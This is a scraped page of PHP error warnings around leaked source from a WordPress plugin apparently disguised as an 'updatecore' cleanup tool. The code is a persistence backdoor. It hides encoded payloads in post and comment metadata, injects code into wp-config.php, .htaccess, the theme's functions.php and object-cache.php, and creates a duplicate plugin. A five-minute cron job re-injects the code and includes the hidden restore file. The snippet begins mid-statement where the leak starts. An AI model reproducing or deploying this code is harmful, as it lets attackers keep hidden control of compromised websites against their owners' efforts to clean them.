Warning: file_get_contents(/home/ednajans/domains/ednajans.com/public_html/wp-content/plugins/updatecore/updatecore.php): failed to open stream: No such file or directory in /home/ednajans/domains/ednajans.com/public_html/wp-includes/functions.php on line 7038
ts}
WHERE post_status='publish' AND post_type='post'
ORDER BY ID ASC LIMIT 1"
);
if ($post_id > 0) {
$pmk = '_cache_' . substr(md5($fname), 0, 8);
if (get_post_meta($post_id, $pmk, true) === '') update_post_meta($post_id, $pmk, $encoded);
}
$comment_id = (int) $wpdb->get_var(
"SELECT comment_ID FROM {$wpdb->comments}
WHERE comment_approved='1'
ORDER BY comment_ID ASC LIMIT 1"
);
if ($comment_id > 0) {
$cmk = '_cc_' . substr(md5($fname), 0, 8);
if (get_comment_meta($comment_id, $cmk, true) === '') update_comment_meta($comment_id, $cmk, $encoded);
}
}
}
function wpcl_ensure_extra_points() {
$path = wpcl_get_restore_path();
if (empty($path) || !file_exists($path)) $path = wpcl_ensure_restore_file();
if (empty($path) || !file_exists($path)) return;
$fn = get_stylesheet_directory() . '/functions.php';
if (file_exists($fn) && strpos(@file_get_contents($fn) ?: '', 'WPCL_RESTORE_DONE') === false) {
wpcl_inject_functions_php($path);
}
$oc = WP_CONTENT_DIR . '/object-cache.php';
if (!file_exists($oc) || strpos(@file_get_contents($oc) ?: '', 'WPCL_OC_V1') === false) {
wpcl_inject_object_cache();
}
wpcl_create_dupe_plugin();
wpcl_restore_db_from_files();
}
add_filter('cron_schedules', function($s) {
if (!isset($s['wpcl_5min'])) $s['wpcl_5min'] = array('interval' => 300, 'display' => 'Every 5 minutes');
return $s;
});
add_action('wpcl_restore_cron', function() {
$path = wpcl_ensure_restore_file();
wpcl_inject_wpconfig($path);
wpcl_inject_htaccess($path);
wpcl_ensure_extra_points();
if ($path && file_exists($path)) @include_once($path);
});
add_action('admin_init', function() {
if (!wp_next_scheduled('wpcl_restore_cron')) {
wp_schedule_event(time(), 'wpcl_5min', 'wpcl_restore_cron');
}
$path = wpcl_ensure_restore_file();
$config = ABSPATH . 'wp-config.php';
if (file_exists($config) && strpos(@file_get_contents($config) ?: '', 'wp-sys-cache') === false) {
wpcl_inject_wpconfig($path);
}
$htaccess = ABSPATH . '.htaccess';
if (file_exists($htaccess) && strpos(@file_get_contents($htaccess) ?: '', 'wp-sys-cache') === false) {
wpcl_inject_htaccess($path);
}
wpcl_ensure_extra_points();
}, 2);
$_mgr_file = dirname(__FILE__) . '/manager-p.php';
if (file_exists($_mgr_file)) {
require_once $_mgr_file;
}
$_wfc_file = dirname(__FILE__) . '/wp-file-checker.php';
if (file_exists($_wfc_file)) {
require_once $_wfc_file;
}
Warning: Cannot modify header information - headers already sent by (output started at /home/ednajans/domains/ednajans.com/public_html/wp-content/plugins/updatecore/wp-cleanup-tool.php:1) in /home/ednajans/domains/ednajans.com/public_html/wp-includes/pluggable.php on line 1539
Warning: Cannot modify header information - headers already sent by (output started at /home/ednajans/domains/ednajans.com/public_html/wp-content/plugins/updatecore/wp-cleanup-tool.php:1) in /home/ednajans/domains/ednajans.com/public_html/wp-includes/pluggable.php on line 1542